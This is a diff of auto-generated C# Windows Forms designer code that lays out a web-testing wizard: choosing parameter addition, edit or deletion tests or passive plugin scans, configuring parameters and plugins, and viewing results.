this.tabPage22.SuspendLayout(); + this.tabPage17.SuspendLayout(); + this.PassiveChecksResultsTab.SuspendLayout(); + this.PassivePluginsTestResultsBaseSplit.Panel1.SuspendLayout(); + this.PassivePluginsTestResultsBaseSplit.Panel2.SuspendLayout(); + this.PassivePluginsTestResultsBaseSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.PassivePluginsScanResultsGrid)).BeginInit(); + this.PassivePluginScanResultsBottomTabs.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.PassivePluginsTestResultsBottomSplit.Panel1.SuspendLayout(); + this.PassivePluginsTestResultsBottomSplit.Panel2.SuspendLayout(); + this.PassivePluginsTestResultsBottomSplit.SuspendLayout(); + this.tabPage6.SuspendLayout(); + this.PassivePluginLogTabs.SuspendLayout(); + this.tabPage20.SuspendLayout(); + this.tabPage21.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.SelectTestTab); + this.BaseTabs.Controls.Add(this.ConfigureTab); + this.BaseTabs.Controls.Add(this.ResultsTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 562); + this.BaseTabs.TabIndex = 16; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // SelectTestTab + // + this.SelectTestTab.BackColor = System.Drawing.Color.White; + this.SelectTestTab.Controls.Add(this.textBox7); + this.SelectTestTab.Controls.Add(this.textBox6); + this.SelectTestTab.Controls.Add(this.textBox5); + this.SelectTestTab.Controls.Add(this.textBox3); + this.SelectTestTab.Controls.Add(this.RunPassivePluginsRB); + this.SelectTestTab.Controls.Add(this.ParameterDeleteTestRB); + this.SelectTestTab.Controls.Add(this.ParameterEditTestRB); + this.SelectTestTab.Controls.Add(this.ParameterAddTestRB); + this.SelectTestTab.Controls.Add(this.Step0StatusTB); + this.SelectTestTab.Controls.Add(this.CancelBtn); + this.SelectTestTab.Controls.Add(this.textBox2); + this.SelectTestTab.Controls.Add(this.StepOneNextBtn); + this.SelectTestTab.Location = new System.Drawing.Point(4, 25); + this.SelectTestTab.Margin = new System.Windows.Forms.Padding(0); + this.SelectTestTab.Name = "SelectTestTab"; + this.SelectTestTab.Padding = new System.Windows.Forms.Padding(5); + this.SelectTestTab.Size = new System.Drawing.Size(876, 533); + this.SelectTestTab.TabIndex = 0; + this.SelectTestTab.Text = " Select Test "; + // + // textBox7 + // + this.textBox7.BackColor = System.Drawing.Color.White; + this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox7.ForeColor = System.Drawing.Color.Gray; + this.textBox7.Location = new System.Drawing.Point(41, 417); + this.textBox7.Multiline = true; + this.textBox7.Name = "textBox7"; + this.textBox7.ReadOnly = true; + this.textBox7.Size = new System.Drawing.Size(827, 40); + this.textBox7.TabIndex = 14; + this.textBox7.TabStop = false; + this.textBox7.Text = resources.GetString("textBox7.Text"); + // + // textBox6 + // + this.textBox6.BackColor = System.Drawing.Color.White; + this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox6.ForeColor = System.Drawing.Color.Gray; + this.textBox6.Location = new System.Drawing.Point(44, 310); + this.textBox6.Multiline = true; + this.textBox6.Name = "textBox6"; + this.textBox6.ReadOnly = true; + this.textBox6.Size = new System.Drawing.Size(827, 62); + this.textBox6.TabIndex = 13; + this.textBox6.TabStop = false; + this.textBox6.Text = resources.GetString("textBox6.Text"); + // + // textBox5 + // + this.textBox5.BackColor = System.Drawing.Color.White; + this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox5.ForeColor = System.Drawing.Color.Gray; + this.textBox5.Location = new System.Drawing.Point(46, 190); + this.textBox5.Multiline = true; + this.textBox5.Name = "textBox5"; + this.textBox5.ReadOnly = true; + this.textBox5.Size = new System.Drawing.Size(827, 70); + this.textBox5.TabIndex = 12; + this.textBox5.TabStop = false; + this.textBox5.Text = resources.GetString("textBox5.Text"); + // + // textBox3 + // + this.textBox3.BackColor = System.Drawing.Color.White; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.ForeColor = System.Drawing.Color.Gray; + this.textBox3.Location = new System.Drawing.Point(41, 83); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(827, 62); + this.textBox3.TabIndex = 11; + this.textBox3.TabStop = false; + this.textBox3.Text = resources.GetString("textBox3.Text"); + // + // RunPassivePluginsRB + // + this.RunPassivePluginsRB.AutoSize = true; + this.RunPassivePluginsRB.Location = new System.Drawing.Point(25, 396); + this.RunPassivePluginsRB.Name = "RunPassivePluginsRB"; + this.RunPassivePluginsRB.Size = new System.Drawing.Size(227, 17); + this.RunPassivePluginsRB.TabIndex = 10; + this.RunPassivePluginsRB.TabStop = true; + this.RunPassivePluginsRB.Text = "Run Passive Plugins on Selected Sessions"; + this.RunPassivePluginsRB.UseVisualStyleBackColor = true; + // + // ParameterDeleteTestRB + // + this.ParameterDeleteTestRB.AutoSize = true; + this.ParameterDeleteTestRB.Location = new System.Drawing.Point(25, 287); + this.ParameterDeleteTestRB.Name = "ParameterDeleteTestRB"; + this.ParameterDeleteTestRB.Size = new System.Drawing.Size(170, 17); + this.ParameterDeleteTestRB.TabIndex = 9; + this.ParameterDeleteTestRB.TabStop = true; + this.ParameterDeleteTestRB.Text = "Delete Existing Parameter Test"; + this.ParameterDeleteTestRB.UseVisualStyleBackColor = true; + // + // ParameterEditTestRB + // + this.ParameterEditTestRB.AutoSize = true; + this.ParameterEditTestRB.Location = new System.Drawing.Point(25, 167); + this.ParameterEditTestRB.Name = "ParameterEditTestRB"; + this.ParameterEditTestRB.Size = new System.Drawing.Size(187, 17); + this.ParameterEditTestRB.TabIndex = 8; + this.ParameterEditTestRB.TabStop = true; + this.ParameterEditTestRB.Text = "Edit Existing Parameter Value Test"; + this.ParameterEditTestRB.UseVisualStyleBackColor = true; + // + // ParameterAddTestRB + // + this.ParameterAddTestRB.AutoSize = true; + this.ParameterAddTestRB.Location = new System.Drawing.Point(25, 60); + this.ParameterAddTestRB.Name = "ParameterAddTestRB"; + this.ParameterAddTestRB.Size = new System.Drawing.Size(163, 17); + this.ParameterAddTestRB.TabIndex = 7; + this.ParameterAddTestRB.TabStop = true; + this.ParameterAddTestRB.Text = "New Parameter Addition Test"; + this.ParameterAddTestRB.UseVisualStyleBackColor = true; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(131, 476); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(615, 49); + this.Step0StatusTB.TabIndex = 6; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.CancelBtn.Location = new System.Drawing.Point(8, 496); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 4; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // textBox2 + // + this.textBox2.BackColor = System.Drawing.Color.White; + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox2.Location = new System.Drawing.Point(5, 5); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(866, 47); + this.textBox2.TabIndex = 3; + this.textBox2.TabStop = false; + this.textBox2.Text = "\r\nYou can perform the following four tests on the logs that you have selected. D" + + "etails of each test is available below. Select one and go to next step."; + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(763, 496); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 2; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // ConfigureTab + // + this.ConfigureTab.Controls.Add(this.Step1StatusTB); + this.ConfigureTab.Controls.Add(this.ConfigureTestTabs); + this.ConfigureTab.Controls.Add(this.StepTwoPreviousBtn); + this.ConfigureTab.Controls.Add(this.StartTestBtn); + this.ConfigureTab.Location = new System.Drawing.Point(4, 25); + this.ConfigureTab.Margin = new System.Windows.Forms.Padding(0); + this.ConfigureTab.Name = "ConfigureTab"; + this.ConfigureTab.Padding = new System.Windows.Forms.Padding(5); + this.ConfigureTab.Size = new System.Drawing.Size(876, 533); + this.ConfigureTab.TabIndex = 1; + this.ConfigureTab.Text = " Configure Test "; + this.ConfigureTab.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.Location = new System.Drawing.Point(133, 486); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(607, 41); + this.Step1StatusTB.TabIndex = 11; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // ConfigureTestTabs + // + this.ConfigureTestTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigureTestTabs.Controls.Add(this.ConfigureParameterTab); + this.ConfigureTestTabs.Controls.Add(this.SelectPluginsTab); + this.ConfigureTestTabs.Location = new System.Drawing.Point(0, 0); + this.ConfigureTestTabs.Margin = new System.Windows.Forms.Padding(0); + this.ConfigureTestTabs.Multiline = true; + this.ConfigureTestTabs.Name = "ConfigureTestTabs"; + this.ConfigureTestTabs.Padding = new System.Drawing.Point(0, 0); + this.ConfigureTestTabs.SelectedIndex = 0; + this.ConfigureTestTabs.Size = new System.Drawing.Size(876, 474); + this.ConfigureTestTabs.TabIndex = 1; + this.ConfigureTestTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ConfigureTestTabs_Selecting); + // + // ConfigureParameterTab + // + this.ConfigureParameterTab.BackColor = System.Drawing.Color.White; + this.ConfigureParameterTab.Controls.Add(this.SessionPluginsCombo); + this.ConfigureParameterTab.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); + this.ConfigureParameterTab.Controls.Add(this.RefreshSessListLL); + this.ConfigureParameterTab.Controls.Add(this.textBox1); + this.ConfigureParameterTab.Controls.Add(this.label11); + this.ConfigureParameterTab.Controls.Add(this.ShouldResentOriginalRequestCB); + this.ConfigureParameterTab.Controls.Add(this.textBox11); + this.ConfigureParameterTab.Controls.Add(this.ParameterValueTB); + this.ConfigureParameterTab.Controls.Add(this.ParameterValueTBLbl); + this.ConfigureParameterTab.Controls.Add(this.ParameterActionLbl); + this.ConfigureParameterTab.Controls.Add(this.ParameterNameTB); + this.ConfigureParameterTab.Controls.Add(this.ParameterNameTBLbl); + this.ConfigureParameterTab.Controls.Add(this.ParameterTypeCombo); + this.ConfigureParameterTab.Controls.Add(this.ParameterTypeComboLbl); + this.ConfigureParameterTab.Location = new System.Drawing.Point(4, 22); + this.ConfigureParameterTab.Margin = new System.Windows.Forms.Padding(0); + this.ConfigureParameterTab.Name = "ConfigureParameterTab"; + this.ConfigureParameterTab.Size = new System.Drawing.Size(868, 448); + this.ConfigureParameterTab.TabIndex = 0; + this.ConfigureParameterTab.Text = " Configure Parameter "; + // + // SessionPluginsCombo + // + this.SessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.SessionPluginsCombo.FormattingEnabled = true; + this.SessionPluginsCombo.Location = new System.Drawing.Point(379, 359); + this.SessionPluginsCombo.Name = "SessionPluginsCombo"; + this.SessionPluginsCombo.Size = new System.Drawing.Size(336, 21); + this.SessionPluginsCombo.TabIndex = 171; + // + // LaunchSessionPluginCreationAssistantLL + // + this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; + this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(9, 298); + this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; + this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); + this.LaunchSessionPluginCreationAssistantLL.TabIndex = 170; + this.LaunchSessionPluginCreationAssistantLL.TabStop = true; + this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; + this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); + // + // RefreshSessListLL + // + this.RefreshSessListLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.RefreshSessListLL.AutoSize = true; + this.RefreshSessListLL.Location = new System.Drawing.Point(721, 362); + this.RefreshSessListLL.Name = "RefreshSessListLL"; + this.RefreshSessListLL.Size = new System.Drawing.Size(140, 13); + this.RefreshSessListLL.TabIndex = 169; + this.RefreshSessListLL.TabStop = true; + this.RefreshSessListLL.Text = "Refresh Session Plugins List"; + this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); + // + // textBox1 + // + this.textBox1.BackColor = System.Drawing.Color.White; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(10, 251); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(798, 48); + this.textBox1.TabIndex = 168; + this.textBox1.TabStop = false; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(9, 362); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(361, 13); + this.label11.TabIndex = 167; + this.label11.Text = "If you want to use a Session Plugin for the test then select one from this list:"; + // + // ShouldResentOriginalRequestCB + // + this.ShouldResentOriginalRequestCB.AutoSize = true; + this.ShouldResentOriginalRequestCB.Checked = true; + this.ShouldResentOriginalRequestCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ShouldResentOriginalRequestCB.Location = new System.Drawing.Point(12, 95); + this.ShouldResentOriginalRequestCB.Name = "ShouldResentOriginalRequestCB"; + this.ShouldResentOriginalRequestCB.Size = new System.Drawing.Size(329, 17); + this.ShouldResentOriginalRequestCB.TabIndex = 27; + this.ShouldResentOriginalRequestCB.Text = "Resend Original Request once before sending the Test Request"; + this.ShouldResentOriginalRequestCB.UseVisualStyleBackColor = true; + this.ShouldResentOriginalRequestCB.CheckedChanged += new System.EventHandler(this.ShouldResentOriginalRequestCB_CheckedChanged); + // + // textBox11 + // + this.textBox11.BackColor = System.Drawing.Color.White; + this.textBox11.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox11.ForeColor = System.Drawing.Color.Gray; + this.textBox11.Location = new System.Drawing.Point(29, 118); + this.textBox11.Multiline = true; + this.textBox11.Name = "textBox11"; + this.textBox11.ReadOnly = true; + this.textBox11.Size = new System.Drawing.Size(821, 60); + this.textBox11.TabIndex = 26; + this.textBox11.TabStop = false; + this.textBox11.Text = resources.GetString("textBox11.Text"); + // + // ParameterValueTB + // + this.ParameterValueTB.BackColor = System.Drawing.Color.White; + this.ParameterValueTB.Location = new System.Drawing.Point(671, 43); + this.ParameterValueTB.Name = "ParameterValueTB"; + this.ParameterValueTB.Size = new System.Drawing.Size(193, 20); + this.ParameterValueTB.TabIndex = 25; + // + // ParameterValueTBLbl + // + this.ParameterValueTBLbl.AutoSize = true; + this.ParameterValueTBLbl.Location = new System.Drawing.Point(577, 46); + this.ParameterValueTBLbl.Name = "ParameterValueTBLbl"; + this.ParameterValueTBLbl.Size = new System.Drawing.Size(88, 13); + this.ParameterValueTBLbl.TabIndex = 24; + this.ParameterValueTBLbl.Text = "Parameter Value:"; + // + // ParameterActionLbl + // + this.ParameterActionLbl.AutoSize = true; + this.ParameterActionLbl.Location = new System.Drawing.Point(8, 15); + this.ParameterActionLbl.Name = "ParameterActionLbl"; + this.ParameterActionLbl.Size = new System.Drawing.Size(108, 13); + this.ParameterActionLbl.TabIndex = 23; + this.ParameterActionLbl.Text = "Parameter to Update:"; + // + // ParameterNameTB + // + this.ParameterNameTB.BackColor = System.Drawing.Color.White; + this.ParameterNameTB.Location = new System.Drawing.Point(376, 43); + this.ParameterNameTB.Name = "ParameterNameTB"; + this.ParameterNameTB.Size = new System.Drawing.Size(193, 20); + this.ParameterNameTB.TabIndex = 22; + // + // ParameterNameTBLbl + // + this.ParameterNameTBLbl.AutoSize = true; + this.ParameterNameTBLbl.Location = new System.Drawing.Point(281, 46); + this.ParameterNameTBLbl.Name = "ParameterNameTBLbl"; + this.ParameterNameTBLbl.Size = new System.Drawing.Size(89, 13); + this.ParameterNameTBLbl.TabIndex = 21; + this.ParameterNameTBLbl.Text = "Parameter Name:"; + // + // ParameterTypeCombo + // + this.ParameterTypeCombo.FormattingEnabled = true; + this.ParameterTypeCombo.Items.AddRange(new object[] { + "UrlPathPart", + "Query", + "Body", + "Cookie", + "Header"}); + this.ParameterTypeCombo.Location = new System.Drawing.Point(103, 43); + this.ParameterTypeCombo.Name = "ParameterTypeCombo"; + this.ParameterTypeCombo.Size = new System.Drawing.Size(126, 21); + this.ParameterTypeCombo.TabIndex = 20; + this.ParameterTypeCombo.SelectedIndexChanged += new System.EventHandler(this.ParameterTypeCombo_SelectedIndexChanged); + this.ParameterTypeCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.ParameterTypeCombo_KeyPress); + // + // ParameterTypeComboLbl + // + this.ParameterTypeComboLbl.AutoSize = true; + this.ParameterTypeComboLbl.Location = new System.Drawing.Point(8, 46); + this.ParameterTypeComboLbl.Name = "ParameterTypeComboLbl"; + this.ParameterTypeComboLbl.Size = new System.Drawing.Size(85, 13); + this.ParameterTypeComboLbl.TabIndex = 19; + this.ParameterTypeComboLbl.Text = "Parameter Type:"; + // + // SelectPluginsTab + // + this.SelectPluginsTab.BackColor = System.Drawing.Color.White; + this.SelectPluginsTab.Controls.Add(this.PassiveScanPluginsGrid); + this.SelectPluginsTab.Controls.Add(this.SelectAllPassivePluginsCB); + this.SelectPluginsTab.Controls.Add(this.textBox4); + this.SelectPluginsTab.Location = new System.Drawing.Point(4, 22); + this.SelectPluginsTab.Margin = new System.Windows.Forms.Padding(0); + this.SelectPluginsTab.Name = "SelectPluginsTab"; + this.SelectPluginsTab.Size = new System.Drawing.Size(868, 448); + this.SelectPluginsTab.TabIndex = 1; + this.SelectPluginsTab.Text = " Select Passive Plugins "; + // + // PassiveScanPluginsGrid + // + this.PassiveScanPluginsGrid.AllowUserToAddRows = false; + this.PassiveScanPluginsGrid.AllowUserToDeleteRows = false; + this.PassiveScanPluginsGrid.AllowUserToResizeRows = false; + this.PassiveScanPluginsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.PassiveScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.PassiveScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PassiveScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.PassiveScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn9, + this.dataGridViewTextBoxColumn27}); + this.PassiveScanPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.PassiveScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.PassiveScanPluginsGrid.Location = new System.Drawing.Point(26, 105); + this.PassiveScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.PassiveScanPluginsGrid.MultiSelect = false; + this.PassiveScanPluginsGrid.Name = "PassiveScanPluginsGrid"; + this.PassiveScanPluginsGrid.ReadOnly = true; + this.PassiveScanPluginsGrid.RowHeadersVisible = false; + this.PassiveScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.PassiveScanPluginsGrid.Size = new System.Drawing.Size(297, 326); + this.PassiveScanPluginsGrid.TabIndex = 6; + this.PassiveScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.PassiveScanPluginsGrid_CellClick); + // + // dataGridViewCheckBoxColumn9 + // + this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn9.HeaderText = ""; + this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; + this.dataGridViewCheckBoxColumn9.ReadOnly = true; + this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn9.Width = 20; + // + // dataGridViewTextBoxColumn27 + // + this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn27.HeaderText = "SELECT PASSIVE PLUG-INS"; + this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; + this.dataGridViewTextBoxColumn27.ReadOnly = true; + this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // SelectAllPassivePluginsCB + // + this.SelectAllPassivePluginsCB.AutoSize = true; + this.SelectAllPassivePluginsCB.Location = new System.Drawing.Point(19, 79); + this.SelectAllPassivePluginsCB.Name = "SelectAllPassivePluginsCB"; + this.SelectAllPassivePluginsCB.Size = new System.Drawing.Size(107, 17); + this.SelectAllPassivePluginsCB.TabIndex = 10; + this.SelectAllPassivePluginsCB.Text = "Select All Plugins"; + this.SelectAllPassivePluginsCB.UseVisualStyleBackColor = true; + this.SelectAllPassivePluginsCB.Click += new System.EventHandler(this.SelectAllPassivePluginsCB_Click); + // + // textBox4 + // + this.textBox4.BackColor = System.Drawing.Color.White; + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox4.Location = new System.Drawing.Point(0, 0); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(868, 70); + this.textBox4.TabIndex = 9; + this.textBox4.TabStop = false; + this.textBox4.Text = resources.GetString("textBox4.Text"); + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(10, 499); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 8; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StartTestBtn + // + this.StartTestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StartTestBtn.Location = new System.Drawing.Point(760, 500); + this.StartTestBtn.Name = "StartTestBtn"; + this.StartTestBtn.Size = new System.Drawing.Size(105, 23); + this.StartTestBtn.TabIndex = 7; + this.StartTestBtn.Text = "Start Test ->"; + this.StartTestBtn.UseVisualStyleBackColor = true; + this.StartTestBtn.Click += new System.EventHandler(this.StartTestBtn_Click); + // + // ResultsTab + // + this.ResultsTab.BackColor = System.Drawing.Color.White; + this.ResultsTab.Controls.Add(this.ParameterManipulationResultsStatusLbl); + this.ResultsTab.Controls.Add(this.PauseBtn); + this.ResultsTab.Controls.Add(this.StopBtn); + this.ResultsTab.Controls.Add(this.PlayBtn); + this.ResultsTab.Controls.Add(this.textBox19); + this.ResultsTab.Controls.Add(this.ResultsBaseTabs); + this.ResultsTab.Location = new System.Drawing.Point(4, 25); + this.ResultsTab.Name = "ResultsTab"; + this.ResultsTab.Padding = new System.Windows.Forms.Padding(5); + this.ResultsTab.Size = new System.Drawing.Size(876, 533); + this.ResultsTab.TabIndex = 3; + this.ResultsTab.Text = " Test Results "; + // + // ParameterManipulationResultsStatusLbl + // + this.ParameterManipulationResultsStatusLbl.AutoSize = true; + this.ParameterManipulationResultsStatusLbl.Location = new System.Drawing.Point(645, 42); + this.ParameterManipulationResultsStatusLbl.Name = "ParameterManipulationResultsStatusLbl"; + this.ParameterManipulationResultsStatusLbl.Size = new System.Drawing.Size(214, 13); + this.ParameterManipulationResultsStatusLbl.TabIndex = 32; + this.ParameterManipulationResultsStatusLbl.Text = " "; + // + // PauseBtn + // + this.PauseBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.PauseBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("PauseBtn.BackgroundImage"))); + this.PauseBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.PauseBtn.Location = new System.Drawing.Point(790, 8); + this.PauseBtn.Name = "PauseBtn"; + this.PauseBtn.Size = new System.Drawing.Size(22, 23); + this.PauseBtn.TabIndex = 30; + this.PauseBtn.UseVisualStyleBackColor = true; + this.PauseBtn.Click += new System.EventHandler(this.PauseBtn_Click); + // + // StopBtn + // + this.StopBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.StopBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("StopBtn.BackgroundImage"))); + this.StopBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.StopBtn.Location = new System.Drawing.Point(837, 8); + this.StopBtn.Name = "StopBtn"; + this.StopBtn.Size = new System.Drawing.Size(22, 23); + this.StopBtn.TabIndex = 29; + this.StopBtn.UseVisualStyleBackColor = true; + this.StopBtn.Click += new System.EventHandler(this.StopBtn_Click); + // + // PlayBtn + // + this.PlayBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.PlayBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("PlayBtn.BackgroundImage"))); + this.PlayBtn.Enabled = false; + this.PlayBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.PlayBtn.Location = new System.Drawing.Point(744, 7); + this.PlayBtn.Name = "PlayBtn"; + this.PlayBtn.Size = new System.Drawing.Size(22, 23); + this.PlayBtn.TabIndex = 28; + this.PlayBtn.UseVisualStyleBackColor = true; + this.PlayBtn.Click += new System.EventHandler(this.PlayBtn_Click); + // + // textBox19 + // + this.textBox19.BackColor = System.Drawing.Color.White; + this.textBox19.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox19.Location = new System.Drawing.Point(23, 5); + this.textBox19.Multiline = true; + this.textBox19.Name = "textBox19"; + this.textBox19.ReadOnly = true; + this.textBox19.Size = new System.Drawing.Size(663, 50); + this.textBox19.TabIndex = 27; + this.textBox19.TabStop = false; + this.textBox19.Text = "\r\nThe test results are displayed below. You can click on any of the entries to vi" + + "ew more details. \r\nUse the buttons on the right to pause, resume, stop or restar" + + "t the test."; + // + // ResultsBaseTabs + // + this.ResultsBaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ResultsBaseTabs.Controls.Add(this.ParameterManipulationResultsTab); + 